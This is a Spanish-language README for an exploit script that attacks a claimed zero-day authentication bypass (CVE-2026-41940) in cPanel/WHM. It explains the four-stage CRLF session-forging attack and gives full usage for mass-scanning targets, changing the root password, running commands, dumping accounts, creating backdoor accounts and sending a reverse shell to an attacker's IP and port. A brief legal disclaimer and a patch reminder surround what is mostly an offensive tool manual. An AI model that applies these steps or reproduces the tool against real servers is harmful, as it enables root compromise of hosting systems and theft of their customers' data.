
Bypass de autenticación en cPanel/WHM (Vulnerabilidad de día cero)
Aviso legal: Este documento y el script asociado (
exploit.py) se proporcionan estrictamente con fines educativos, investigación de seguridad y pruebas de penetración autorizadas. No utilice este software contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba.
exploit.py es un script que demuestra una vulnerabilidad de omisión de autenticación (CVE-2026-41940) en cPanel y WHM. La vulnerabilidad permite a un atacante no autenticado inyectar una sesión root en la caché del demonio mediante una falla de inyección CRLF, logrando en última instancia acceso a nivel root en WHM sin necesidad de credenciales válidas.
El exploit funciona aprovechando una vulnerabilidad de inyección CRLF (Retorno de Carro y Salto de Línea) dentro del mecanismo de manejo de autenticación Basic, combinada con una falla de propagación de sesión. El script automatiza el ataque en cuatro etapas:
/login/ o /cgi/login.cgi) para obtener una cookie de sesión base no autenticada (whostmgrsession).cpsrvd. La respuesta de redirección del servidor filtra el token de seguridad generado (cpsess).do_token_denied propague la sesión falsificada en la caché del demonio, convirtiéndola en una sesión autenticada válida./json-api/version) utilizando la sesión falsificada para confirmar el acceso a nivel root.requestspip install requests
python exploit.py --target <URL> [opciones]
python exploit.py --target-file <ARCHIVO> [opciones]
| Argumento | Descripción |
|---|---|
--target URL | URL única de WHM (p. ej., https://target:2087) |
--target-file ARCHIVO | Archivo con objetivos (un ip:puerto por línea) — habilita automáticamente el modo de verificación |
| Argumento | Descripción |
|---|---|
--threads N | Hilos concurrentes para el modo multiobjetivo (predeterminado: 10) |
--hostname HOST | Sobrescribir el encabezado Host — úselo cuando el descubrimiento automático falle o proporcione un nombre de host incorrecto |
--timeout N | Tiempo de espera por solicitud en segundos (predeterminado: 15) |
--retries N | Número de reintentos en errores de red (predeterminado: 3) |
--cookie-name NOMBRE | Forzar un nombre específico de cookie de sesión (se detecta automáticamente si se omite) |
--no-verify | Omitir la verificación de la Etapa 4 y continuar de todos modos |
| Argumento | Descripción |
|---|---|
--check | Modo solo verificación — comprobar la vulnerabilidad sin explotar (se activa automáticamente con --target-file) |
--password PASS | Cambiar la contraseña root a PASS |
--api FUNC | Llamar a una función específica de la API JSON de WHM |
--api-params K=V,... | Parámetros separados por comas para --api |
--exec CMD | Ejecutar un comando del sistema operativo mediante el scripts/run_script de WHM (respaldo: rawexec) |
--session | Generar una URL de inicio de sesión root de un solo clic — ábrala inmediatamente, el token expira rápido |
--shell | Abrir un shell interactivo de WHM (solo objetivo único) |
--dump | Volcar información del servidor: versión, cuentas, zonas DNS, privilegios |
--add-user USER PASS DOMAIN | Crear una nueva cuenta de alojamiento cPanel |
--revshell LHOST LPORT | Enviar una reverse shell bash a su listener |
| Argumento | Descripción |
|---|---|
--output ARCHIVO | Guardar el token de sesión y los detalles en un archivo JSON |
# Comprobar si el objetivo es vulnerable
python exploit.py --target https://target:2087 --check
# Volcar información del servidor (versión, cuentas, privilegios)
python exploit.py --target https://target:2087 --dump
# Generar una URL de inicio de sesión root de un solo clic (péguela en el navegador de inmediato)
python exploit.py --target https://target:2087 --session
# Ejecutar un comando
python exploit.py --target https://target:2087 --exec "id"
# Abrir un shell interactivo de WHM
python exploit.py --target https://target:2087 --shell
# Cambiar la contraseña root
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Llamar directamente a la API de WHM
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Crear una cuenta de cPanel como puerta trasera
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Enviar una reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Sobrescribir el nombre de host (úselo cuando el descubrimiento automático falle)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Escanear múltiples objetivos (modo solo verificación)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Guardar la sesión en un archivo
python exploit.py --target https://target:2087 --dump --output results.json
Al usar --shell, están disponibles los siguientes comandos:
| Comando | Descripción |
|---|---|
api <función> [k=v ...] | Llamar a una función de la API JSON de WHM (p. ej., api version) |
exec <comando> | Ejecutar un comando del sistema operativo mediante WHM (p. ej., exec id) |
passwd <nuevapass> | Cambiar la contraseña root |
dump | Volcar información del servidor |
revshell <lhost> <lport> | Enviar una reverse shell |
add <usuario> <pass> <dominio> | Crear una cuenta de cPanel |
save <ruta> | Guardar la sesión actual en un archivo |
exit / quit | Salir del shell |
Aplique inmediatamente los últimos parches de seguridad de cPanel/WHM.